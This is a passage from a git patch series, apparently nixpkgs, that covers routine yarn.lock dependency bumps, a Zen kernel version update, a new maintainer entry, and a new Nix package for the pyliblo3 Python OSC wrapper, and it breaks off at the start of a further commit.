-  resolved "https://registry.yarnpkg.com/lower-case/-/lower-case-1.1.4.tgz#9a2cabd1b9e8e0ae993a4bf7d5875c39c42e8eac"
-  integrity sha512-2Fgx1Ycm599x+WGpIYwJOvsjmXFzTSc34IwDWALRA/8AopUKAVPwfJ+h5+f85BCp0PWmmJcWzEpxOpoXycMpdA==
+lower-case@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/lower-case/-/lower-case-2.0.2.tgz#6fa237c63dbdc4a82ca0fd882e4722dc5e634e28"
+  integrity sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==
+  dependencies:
+    tslib "^2.0.3"
 
 lru-cache@6.0.0, lru-cache@^6.0.0:
   version "6.0.0"
@@ -5785,7 +5827,7 @@ minimatch@^5.1.0:
   dependencies:
     brace-expansion "^2.0.1"
 
-minimatch@^9.0.4:
+minimatch@^9.0.4, minimatch@^9.0.5:
   version "9.0.5"
   resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.5.tgz#d74f9dd6b57d83d8e98cfb82133b03978bc929e5"
   integrity sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==
@@ -6070,12 +6112,13 @@ next-tick@^1.1.0:
   resolved "https://registry.yarnpkg.com/next-tick/-/next-tick-1.1.0.tgz#1836ee30ad56d67ef281b22bd199f709449b35eb"
   integrity sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==
 
-no-case@^2.2.0:
-  version "2.3.2"
-  resolved "https://registry.yarnpkg.com/no-case/-/no-case-2.3.2.tgz#60b813396be39b3f1288a4c1ed5d1e7d28b464ac"
-  integrity sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==
+no-case@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/no-case/-/no-case-3.0.4.tgz#d361fd5c9800f558551a8369fc0dcd4662b6124d"
+  integrity sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==
   dependencies:
-    lower-case "^1.1.1"
+    lower-case "^2.0.2"
+    tslib "^2.0.3"
 
 node-abi@^3.3.0:
   version "3.75.0"
@@ -6114,7 +6157,7 @@ node-fetch@^2.6.1, node-fetch@^2.6.9, node-fetch@^2.7.0:
   dependencies:
     whatwg-url "^5.0.0"
 
-node-fetch@^3.3.2:
+node-fetch@^3.3.0, node-fetch@^3.3.2:
   version "3.3.2"
   resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-3.3.2.tgz#d1e889bacdf733b4ff3b2b243eb7a12866a0b78b"
   integrity sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==
@@ -6414,9 +6457,9 @@ optimist@~0.6.0:
     wordwrap "~0.0.2"
 
 optional-require@^1.1.8:
-  version "1.1.8"
-  resolved "https://registry.yarnpkg.com/optional-require/-/optional-require-1.1.8.tgz#16364d76261b75d964c482b2406cb824d8ec44b7"
-  integrity sha512-jq83qaUb0wNg9Krv1c5OQ+58EK+vHde6aBPzLvPPqJm89UQWsvSuFy9X/OSNJnFeSOKo7btE0n8Nl2+nE+z5nA==
+  version "1.1.10"
+  resolved "https://registry.yarnpkg.com/optional-require/-/optional-require-1.1.10.tgz#35ea423c5442df157c084f8d5a9d5250bba1de47"
+  integrity sha512-0r3OB9EIQsP+a5HVATHq2ExIy2q/Vaffoo4IAikW1spCYswhLxqWQS0i3GwS3AdY/OIP4SWZHLGz8CMU558PGw==
   dependencies:
     require-at "^1.0.6"
 
@@ -6496,12 +6539,13 @@ pako@^2.0.3:
   resolved "https://registry.yarnpkg.com/pako/-/pako-2.1.0.tgz#266cc37f98c7d883545d11335c00fbd4062c9a86"
   integrity sha512-w+eufiZ1WuJYgPXbV/PO3NCMEc3xqylkKHzp8bxp1uW4qaSNQUkwmLLEc3kKsfz8lpV1F8Ht3U1Cm+9Srog2ug==
 
-param-case@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/param-case/-/param-case-2.1.1.tgz#df94fd8cf6531ecf75e6bef9a0858fbc72be2247"
-  integrity sha512-eQE845L6ot89sk2N8liD8HAuH4ca6Vvr7VWAWwt7+kvvG5aBcPmmphQ68JsEG2qa9n1TykS2DLeMt363AAH8/w==
+param-case@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/param-case/-/param-case-3.0.4.tgz#7d17fe4aa12bde34d4a77d91acfb6219caad01c5"
+  integrity sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==
   dependencies:
-    no-case "^2.2.0"
+    dot-case "^3.0.4"
+    tslib "^2.0.3"
 
 parse-json@^4.0.0:
   version "4.0.0"
@@ -6538,6 +6582,14 @@ parsimmon@1.18.1:
   resolved "https://registry.yarnpkg.com/parsimmon/-/parsimmon-1.18.1.tgz#d8dd9c28745647d02fc6566f217690897eed7709"
   integrity sha512-u7p959wLfGAhJpSDJVYXoyMCXWYwHia78HhRBWqk7AIbxdmlrfdp5wX0l3xv/iTSH5HvhN9K7o26hwwpgS5Nmw==
 
+pascal-case@^3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/pascal-case/-/pascal-case-3.1.2.tgz#b48e0ef2b98e205e7c1dae747d0b1508237660eb"
+  integrity sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==
+  dependencies:
+    no-case "^3.0.4"
+    tslib "^2.0.3"
+
 passport-azure-oauth2@*:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/passport-azure-oauth2/-/passport-azure-oauth2-0.1.0.tgz#b391ebdf3aabb9529aa2b6c461d5a1677dd4c362"
@@ -6693,14 +6745,14 @@ performance-now@^2.1.0:
   integrity sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==
 
 pg-cloudflare@^1.1.1:
-  version "1.2.5"
-  resolved "https://registry.yarnpkg.com/pg-cloudflare/-/pg-cloudflare-1.2.5.tgz#2e3649c38a7a9c74a7e5327c8098a2fd9af595bd"
-  integrity sha512-OOX22Vt0vOSRrdoUPKJ8Wi2OpE/o/h9T8X1s4qSkCedbNah9ei2W2765be8iMVxQUsvgT7zIAT2eIa9fs5+vtg==
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/pg-cloudflare/-/pg-cloudflare-1.2.7.tgz#a1f3d226bab2c45ae75ea54d65ec05ac6cfafbef"
+  integrity sha512-YgCtzMH0ptvZJslLM1ffsY4EuGaU0cx4XSdXLRFae8bPP4dS5xL1tNB3k2o/N64cHJpwU7dxKli/nZ2lUa5fLg==
 
 pg-connection-string@^2.7.0:
-  version "2.9.0"
-  resolved "https://registry.yarnpkg.com/pg-connection-string/-/pg-connection-string-2.9.0.tgz#f75e06591fdd42ec7636fe2c6a03febeedbec9bf"
-  integrity sha512-P2DEBKuvh5RClafLngkAuGe9OUlFV7ebu8w1kmaaOgPcpJd1RIFh7otETfI6hAR8YupOLFTY7nuvvIn7PLciUQ==
+  version "2.9.1"
+  resolved "https://registry.yarnpkg.com/pg-connection-string/-/pg-connection-string-2.9.1.tgz#bb1fd0011e2eb76ac17360dc8fa183b2d3465238"
+  integrity sha512-nkc6NpDcvPVpZXxrreI/FOtX3XemeLl8E0qFr6F2Lrm/I8WOnaWNhIPK2Z7OHpw7gh5XJThi6j6ppgNoaT1w4w==
 
 pg-int8@1.0.1:
   version "1.0.1"
@@ -6708,14 +6760,14 @@ pg-int8@1.0.1:
   integrity sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw==
 
 pg-pool@^3.8.0:
-  version "3.10.0"
-  resolved "https://registry.yarnpkg.com/pg-pool/-/pg-pool-3.10.0.tgz#134b0213755c5e7135152976488aa7cd7ee1268d"
-  integrity sha512-DzZ26On4sQ0KmqnO34muPcmKbhrjmyiO4lCCR0VwEd7MjmiKf5NTg/6+apUEu0NF7ESa37CGzFxH513CoUmWnA==
+  version "3.10.1"
+  resolved "https://registry.yarnpkg.com/pg-pool/-/pg-pool-3.10.1.tgz#481047c720be2d624792100cac1816f8850d31b2"
+  integrity sha512-Tu8jMlcX+9d8+QVzKIvM/uJtp07PKr82IUOYEphaWcoBhIYkoHpLXN3qO59nAI11ripznDsEzEv8nUxBVWajGg==
 
 pg-protocol@^1.8.0:
-  version "1.10.0"
-  resolved "https://registry.yarnpkg.com/pg-protocol/-/pg-protocol-1.10.0.tgz#a473afcbb1c6e5dc3ac24869ba3dd563f8a1ae1b"
-  integrity sha512-IpdytjudNuLv8nhlHs/UrVBhU0e78J0oIS/0AVdTbWxSOkFUVdsHC/NrorO6nXsQNDTT1kzDSOMJubBQviX18Q==
+  version "1.10.3"
+  resolved "https://registry.yarnpkg.com/pg-protocol/-/pg-protocol-1.10.3.tgz#ac9e4778ad3f84d0c5670583bab976ea0a34f69f"
+  integrity sha512-6DIBgBQaTKDJyxnXaLiLR8wBpQQcGWuAESkRBX/t6OwA8YsqP+iVSiond2EDy6Y/dsGk8rh/jtax3js5NeV7JQ==
 
 pg-types@^2.1.0:
   version "2.2.0"
@@ -6957,9 +7009,9 @@ psl@^1.1.28, psl@^1.1.33:
     punycode "^2.3.1"
 
 pump@^3.0.0:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/pump/-/pump-3.0.2.tgz#836f3edd6bc2ee599256c924ffe0d88573ddcbf8"
-  integrity sha512-tUPXtzlGM8FE3P0ZL6DVs/3P58k9nk8/jZeQCurTJylQA8qFYzHFfhBJkuqyE0FifOsQ0uKWekiZ5g8wtr28cw==
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/pump/-/pump-3.0.3.tgz#151d979f1a29668dc0025ec589a455b53282268d"
+  integrity sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==
   dependencies:
     end-of-stream "^1.1.0"
     once "^1.3.1"
@@ -7450,11 +7502,6 @@ scmp@^2.1.0:
   resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.2.tgz#48d55db737c3287cd4835e17fa13feace1c41ef8"
   integrity sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==
 
-semver@7.7.1:
-  version "7.7.1"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-7.7.1.tgz#abd5098d82b18c6c81f6074ff2647fd3e7220c9f"
-  integrity sha512-hlq8tAfn0m/61p4BVRcPzIGr6LKiMwo4VM6dGi6pt4qcRkmNzTcWq6eCEjEh+qXjkMDvPlOFFSGwQjoEa6gyMA==
-
 semver@^6.0.0, semver@^6.3.1:
   version "6.3.1"
   resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4"
@@ -7541,12 +7588,13 @@ setprototypeof@1.2.0:
   integrity sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==
 
 sha.js@^2.4.0, sha.js@^2.4.8:
-  version "2.4.11"
-  resolved "https://registry.yarnpkg.com/sha.js/-/sha.js-2.4.11.tgz#37a5cf0b81ecbc6943de109ba2960d1b26584ae7"
-  integrity sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==
+  version "2.4.12"
+  resolved "https://registry.yarnpkg.com/sha.js/-/sha.js-2.4.12.tgz#eb8b568bf383dfd1867a32c3f2b74eb52bdbf23f"
+  integrity sha512-8LzC5+bvI45BjpfXU8V5fdU2mfeKiQe1D1gIMn7XUlF3OTUrpdJpPPH4EMAnF0DsHHdSZqCdSss5qCmJKuiO3w==
   dependencies:
-    inherits "^2.0.1"
-    safe-buffer "^5.0.1"
+    inherits "^2.0.4"
+    safe-buffer "^5.2.1"
+    to-buffer "^1.2.0"
 
 shallow-clone@^3.0.0:
   version "3.0.1"
@@ -7677,14 +7725,14 @@ socks-proxy-agent@^6.0.0:
     socks "^2.6.2"
 
 socks@^2.6.2, socks@^2.7.1:
-  version "2.8.4"
-  resolved "https://registry.yarnpkg.com/socks/-/socks-2.8.4.tgz#07109755cdd4da03269bda4725baa061ab56d5cc"
-  integrity sha512-D3YaD0aRxR3mEcqnidIs7ReYJFVzWdd6fXJYUM8ixcQcJRGTka/b3saV0KflYhyVJXKhb947GndU35SxYNResQ==
+  version "2.8.5"
+  resolved "https://registry.yarnpkg.com/socks/-/socks-2.8.5.tgz#bfe18f5ead1efc93f5ec90c79fa8bdccbcee2e64"
+  integrity sha512-iF+tNDQla22geJdTyJB1wM/qrX9DMRwWrciEPwWLPRWAUEM8sQiyxgckLxWT1f7+9VabJS0jTGGr4QgBuvi6Ww==
   dependencies:
     ip-address "^9.0.5"
     smart-buffer "^4.2.0"
 
-source-map-support@^0.5.16:
+source-map-support@^0.5.16, source-map-support@~0.5.20:
   version "0.5.21"
   resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.21.tgz#04fe7c7f9e1ed2d662233c28cb2b35b9f63f6e4f"
   integrity sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==
@@ -7877,9 +7925,9 @@ stream-shift@^1.0.2:
   integrity sha512-76ORR0DO1o1hlKwTbi/DM3EXWGf3ZJYO8cXX5RJwnul2DEg2oyoZyjLNoQM8WsvZiFKCRfC1O0J7iCvie3RZmQ==
 
 streamx@^2.15.0:
-  version "2.22.0"
-  resolved "https://registry.yarnpkg.com/streamx/-/streamx-2.22.0.tgz#cd7b5e57c95aaef0ff9b2aef7905afa62ec6e4a7"
-  integrity sha512-sLh1evHOzBy/iWRiR6d1zRcLao4gGZr3C1kzNz4fopCOKJb6xD9ub8Mpi9Mr1R6id5o43S+d93fI48UC5uM9aw==
+  version "2.22.1"
+  resolved "https://registry.yarnpkg.com/streamx/-/streamx-2.22.1.tgz#c97cbb0ce18da4f4db5a971dc9ab68ff5dc7f5a5"
+  integrity sha512-znKXEBxfatz2GBNK02kRnCXjV+AA4kjZIUxeWSr3UGirZMJfTE9uiwKHobnbgxWyL/JWro8tTq+vOqAK1/qbSA==
   dependencies:
     fast-fifo "^1.3.2"
     text-decoder "^1.1.0"
@@ -8173,6 +8221,16 @@ telnyx@1.25.5:
     tweetnacl "^1.0.1"
     uuid "^3.3.2"
 
+terser@^5.15.1:
+  version "5.43.1"
+  resolved "https://registry.yarnpkg.com/terser/-/terser-5.43.1.tgz#88387f4f9794ff1a29e7ad61fb2932e25b4fdb6d"
+  integrity sha512-+6erLbBm0+LROX2sPXlUYx/ux5PyE9K/a92Wrt6oA+WDAoFTdpHE5tCYCI5PNzq2y8df4rA+QgHLJuR4jNymsg==
+  dependencies:
+    "@jridgewell/source-map" "^0.3.3"
+    acorn "^8.14.0"
+    commander "^2.20.0"
+    source-map-support "~0.5.20"
+
 test-exclude@^5.2.3:
   version "5.2.3"
   resolved "https://registry.yarnpkg.com/test-exclude/-/test-exclude-5.2.3.tgz#c3d3e1e311eb7ee405e092dac10aefd09091eac0"
@@ -8230,6 +8288,15 @@ tiny-inflate@^1.0.2:
   resolved "https://registry.yarnpkg.com/tiny-inflate/-/tiny-inflate-1.0.3.tgz#122715494913a1805166aaf7c93467933eea26c4"
   integrity sha512-pkY1fj1cKHb2seWDy0B16HeWyczlJA9/WW3u3c4z/NiWDsO3DOU5D7nhTLE9CF0yXv/QZFY7sEJmj24dK+Rrqw==
 
+to-buffer@^1.2.0:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/to-buffer/-/to-buffer-1.2.1.tgz#2ce650cdb262e9112a18e65dc29dcb513c8155e0"
+  integrity sha512-tB82LpAIWjhLYbqjx3X4zEeHN6M8CiuOEy2JY8SEQVdYRe3CCHOFaqrBW1doLDrfpWhplcW7BL+bO3/6S3pcDQ==
+  dependencies:
+    isarray "^2.0.5"
+    safe-buffer "^5.2.1"
+    typed-array-buffer "^1.0.3"
+
 to-mongodb-core@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/to-mongodb-core/-/to-mongodb-core-2.0.0.tgz#3596ec7613ac9ad3b98a89dcb9aefba569cd27eb"
@@ -8307,7 +8374,7 @@ ts-mixer@^6.0.4:
   resolved "https://registry.yarnpkg.com/ts-mixer/-/ts-mixer-6.0.4.tgz#1da39ceabc09d947a82140d9f09db0f84919ca28"
   integrity sha512-ufKpbmrugz5Aou4wcr5Wc1UUFWOLhq+Fm6qa6P0w0K5Qw2yhaUoiWszhCVuNQyNwrlGiscHOmqYoAox1PtvgjA==
 
-tslib@^2.1.0, tslib@^2.3.1, tslib@^2.4.0, tslib@^2.5.0, tslib@^2.6.2, tslib@^2.6.3:
+tslib@^2.0.3, tslib@^2.1.0, tslib@^2.3.1, tslib@^2.4.0, tslib@^2.5.0, tslib@^2.6.2, tslib@^2.6.3:
   version "2.8.1"
   resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.8.1.tgz#612efe4ed235d567e8aba5f2a5fab70280ade83f"
   integrity sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==
@@ -8433,7 +8500,7 @@ ua-parser-js@1.0.40:
   resolved "https://registry.yarnpkg.com/ua-parser-js/-/ua-parser-js-1.0.40.tgz#ac6aff4fd8ea3e794a6aa743ec9c2fc29e75b675"
   integrity sha512-z6PJ8Lml+v3ichVojCiB8toQJBuwR42ySM4ezjXIqXK3M0HczmKQ3LF4rhU55PfD99KEEXQG6yb7iOMyvYuHew==
 
-uglify-js@^3.1.4, uglify-js@^3.5.1:
+uglify-js@^3.1.4:
   version "3.19.3"
   resolved "https://registry.yarnpkg.com/uglify-js/-/uglify-js-3.19.3.tgz#82315e9bbc6f2b25888858acd1fff8441035b77f"
   integrity sha512-v3Xu+yuwBXisp6QYTcH4UbH+xYJXqnq2m/LtQVWKWzYc1iehYnLixoQDN9FH6/j9/oybfd6W9Ghwkl8+UMKTKQ==
@@ -8465,6 +8532,11 @@ undici-types@~6.21.0:
   resolved "https://registry.yarnpkg.com/undici-types/-/undici-types-6.21.0.tgz#691d00af3909be93a7faa13be61b3a5b50ef12cb"
   integrity sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==
 
+undici-types@~7.8.0:
+  version "7.8.0"
+  resolved "https://registry.yarnpkg.com/undici-types/-/undici-types-7.8.0.tgz#de00b85b710c54122e44fbfd911f8d70174cd294"
+  integrity sha512-9UJ2xGDvQ43tYyVMpuHlsgApydB8ZKfVYTsLDhXkFL/6gfkp+U8xTGdh8pMJv1SpZna0zxG1DwsKZsreLbXBxw==
+
 undici@^5.11.0, undici@^5.22.0:
   version "5.29.0"
   resolved "https://registry.yarnpkg.com/undici/-/undici-5.29.0.tgz#419595449ae3f2cdcba3580a2e8903399bd1f5a3"
@@ -8509,11 +8581,6 @@ update-browserslist-db@^1.1.3:
     escalade "^3.2.0"
     picocolors "^1.1.1"
 
-upper-case@^1.1.1:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/upper-case/-/upper-case-1.1.3.tgz#f6b4501c2ec4cdd26ba78be7222961de77621598"
-  integrity sha512-WRbjgmYzgXkCV7zNVpy5YgrHgbBv126rMALQQMrmzOVC4GM2waQ9x7xtm8VU+1yF2kWyPzI9zbZ48n4vSxwfSA==
-
 uri-js@^4.2.2:
   version "4.4.1"
   resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e"
@@ -8526,10 +8593,10 @@ uri-parser@^1.0.0:
   resolved "https://registry.yarnpkg.com/uri-parser/-/uri-parser-1.0.1.tgz#3307ebb50f279c11198ad09214bdaf24e29735b2"
   integrity sha512-TRjjM2M83RD9jIIYttNj7ghUQTKSov+WXZbQIMM8DxY1R1QdJEGWNKKMYCxyeOw1p9re2nQ85usM6dPTVtox1g==
 
-url-join@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/url-join/-/url-join-4.0.1.tgz#b642e21a2646808ffa178c4c5fda39844e12cde7"
-  integrity sha512-jk1+QP6ZJqyOiuEI9AEWQfju/nB2Pw466kbA0LEZljHwKeMgd9WrAEgEGxjPDD2+TNbbb37rTyhEfrCXfuKXnA==
+url-join@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/url-join/-/url-join-5.0.0.tgz#c2f1e5cbd95fa91082a93b58a1f42fecb4bdbcf1"
+  integrity sha512-n2huDr9h9yzd6exQVnH/jU5mr+Pfx08LRXXZhkLLetAMESRj+anQsTAh940iMrIetKAmry9coFuZQ2jY8/p3WA==
 
 url-parse@^1.5.10, url-parse@^1.5.3, url-parse@^1.5.9:
   version "1.5.10"
@@ -8684,23 +8751,24 @@ web-streams-polyfill@^3.0.3:
   resolved "https://registry.yarnpkg.com/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz#2073b91a2fdb1fbfbd401e7de0ac9f8214cecb4b"
   integrity sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==
 
-webdav@4.11.4:
-  version "4.11.4"
-  resolved "https://registry.yarnpkg.com/webdav/-/webdav-4.11.4.tgz#700fd81faf02cef38f76804203e3c47b0bb61741"
-  integrity sha512-abrHtgE9N/7U7sO7veJO3HeE5cHZ35YOOIU1//SKbVlVlfwq5XvW4omNC1++gRnMwf89qjZI8hWy7jCz2D5haQ==
+webdav@5.8.0:
+  version "5.8.0"
+  resolved "https://registry.yarnpkg.com/webdav/-/webdav-5.8.0.tgz#2a3cb39f5d49883ce98e0e2994b8dbedc53d56e8"
+  integrity sha512-iuFG7NamJ41Oshg4930iQgfIpRrUiatPWIekeznYgEf2EOraTRcDPTjy7gIOMtkdpKTaqPk1E68NO5PAGtJahA==
   dependencies:
-    axios "^0.27.2"
+    "@buttercup/fetch" "^0.2.1"
     base-64 "^1.0.0"
     byte-length "^1.0.2"
-    fast-xml-parser "^4.2.4"
-    he "^1.2.0"
-    hot-patcher "^1.0.0"
-    layerr "^0.1.2"
+    entities "^6.0.0"
+    fast-xml-parser "^4.5.1"
+    hot-patcher "^2.0.1"
+    layerr "^3.0.0"
     md5 "^2.3.0"
-    minimatch "^5.1.0"
+    minimatch "^9.0.5"
     nested-property "^4.0.0"
+    node-fetch "^3.3.2"
     path-posix "^1.0.0"
-    url-join "^4.0.1"
+    url-join "^5.0.0"
     url-parse "^1.5.10"
 
 webidl-conversions@^3.0.0:
@@ -8972,9 +9040,9 @@ ws@^7.4.6:
   integrity sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ==
 
 ws@^8.13.0, ws@^8.18.0, ws@^8.9.0:
-  version "8.18.2"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-8.18.2.tgz#42738b2be57ced85f46154320aabb51ab003705a"
-  integrity sha512-DMricUmwGZUVr++AEAe2uiVM7UoO9MAVZMDu05UQOaUII0lp+zOzLLU4Xqh/JvTqklB1T4uELaaPBKyjE1r4fQ==
+  version "8.18.3"
+  resolved "https://registry.yarnpkg.com/ws/-/ws-8.18.3.tgz#b56b88abffde62791c639170400c93dcb0c95472"
+  integrity sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==
 
 xml-crypto@^2.1.3:
   version "2.1.6"

From 840a955fa2c4cb9080a302fb6a1a81df05f091f6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 5 Jul 2025 18:56:05 +0000
Subject: [PATCH 2130/4511] linuxKernel.kernels.linux_zen: 6.15.2 -> 6.15.4

(cherry picked from commit e0f1de70f456739bd830f57b5c676b4d1cca9e78)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 03628b4577b8..2da18dd34486 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -16,9 +16,9 @@ let
   variants = {
     # ./update-zen.py zen
     zen = {
-      version = "6.15.2"; # zen
-      suffix = "zen1"; # zen
-      sha256 = "196vc361fqpiwqgpxa0kp1nfqs6gplah2qw48yrwlzxp08q9sfqn"; # zen
+      version = "6.15.4"; # zen
+      suffix = "zen2"; # zen
+      sha256 = "0mf83mwpsa2zm1crc3gqbgmsrpsdxi52r1yvrknrcvi003m1y55y"; # zen
       isLqx = false;
     };
     # ./update-zen.py lqx

From 418fed725c551cf6802628f447bb16787b280434 Mon Sep 17 00:00:00 2001
From: ArchercatNEO <tururu.pompella@gmail.com>
Date: Sun, 22 Jun 2025 09:26:34 +0100
Subject: [PATCH 2131/4511] maintainers: add archercatneo

(cherry picked from commit eb668785b5e7cd435ea7770a4ea4a4fca0592e67)
---
 maintainers/maintainer-list.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index be6a710ee76f..11dcc3693f14 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -1914,6 +1914,13 @@
     githubId = 76066109;
     name = "Mario Liguori";
   };
+  archercatneo = {
+    name = "ArchercatNEO";
+    email = "tururu.pompella@gmail.com";
+    matrix = "@archercatneo:matrix.org";
+    github = "ArchercatNEO";
+    githubId = 108980279;
+  };
   archseer = {
     email = "blaz@mxxn.io";
     github = "archseer";

From 705d6627a20cc9f69f6f4541c6069888c3f35738 Mon Sep 17 00:00:00 2001
From: ArchercatNEO <tururu.pompella@gmail.com>
Date: Mon, 23 Jun 2025 07:07:10 +0100
Subject: [PATCH 2132/4511] python3Packages.pyliblo3: init at 0.16.3

This is a fork of pyliblo which has been unmaintained for 1 years.
It is reputable as Debian packages it and has support from at least
raysession.

(cherry picked from commit 2f7be1c414cbef3aaa24d4f826c2fbeccbc52524)
---
 .../python-modules/pyliblo3/default.nix       | 45 +++++++++++++++++++
 pkgs/top-level/python-packages.nix            |  2 +
 2 files changed, 47 insertions(+)
 create mode 100644 pkgs/development/python-modules/pyliblo3/default.nix

diff --git a/pkgs/development/python-modules/pyliblo3/default.nix b/pkgs/development/python-modules/pyliblo3/default.nix
new file mode 100644
index 000000000000..0051339f6361
--- /dev/null
+++ b/pkgs/development/python-modules/pyliblo3/default.nix
@@ -0,0 +1,45 @@
+{
+  lib,
+  buildPythonPackage,
+  fetchFromGitHub,
+  setuptools,
+  python,
+  liblo,
+  cython,
+}:
+
+buildPythonPackage rec {
+  pname = "pyliblo3";
+  version = "0.16.3";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "gesellkammer";
+    repo = "pyliblo3";
+    tag = "v${version}";
+    hash = "sha256-QfwZXkUT4U2Gfbv3rk0F/bze9hwJGn7H8t0X1SWqIuc=";
+  };
+
+  build-system = [
+    setuptools
+    cython
+  ];
+
+  buildInputs = [ liblo ];
+
+  pythonImportsCheck = [ "pyliblo3" ];
+
+  checkPhase = ''
+    runHook preCheck
+    ${python.interpreter} ./test/unit.py
+    runHook postCheck
+  '';
+
+  meta = {
+    homepage = "https://github.com/gesellkammer/pyliblo3/";
+    description = "Python wrapper for the liblo OSC library";
+    changelog = "https://github.com/gesellkammer/pyliblo3/blob/${src.tag}/NEWS";
+    license = lib.licenses.lgpl21Plus;
+    maintainers = [ lib.maintainers.archercatneo ];
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index 43707004bea1..fbd372d13c68 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -12702,6 +12702,8 @@ self: super: with self; {
 
   pyliblo = callPackage ../development/python-modules/pyliblo { };
 
+  pyliblo3 = callPackage ../development/python-modules/pyliblo3 { };
+
   pylibmc = callPackage ../development/python-modules/pylibmc { };
 
   pylibrespot-java = callPackage ../development/python-modules/pylibrespot-java { };

From 5af77115eb395c81be779f6f7b0b9959fb8a04c1 Mon Sep 17 00:00:00 2001
From: ArchercatNEO <tururu.pompella@gmail.com>
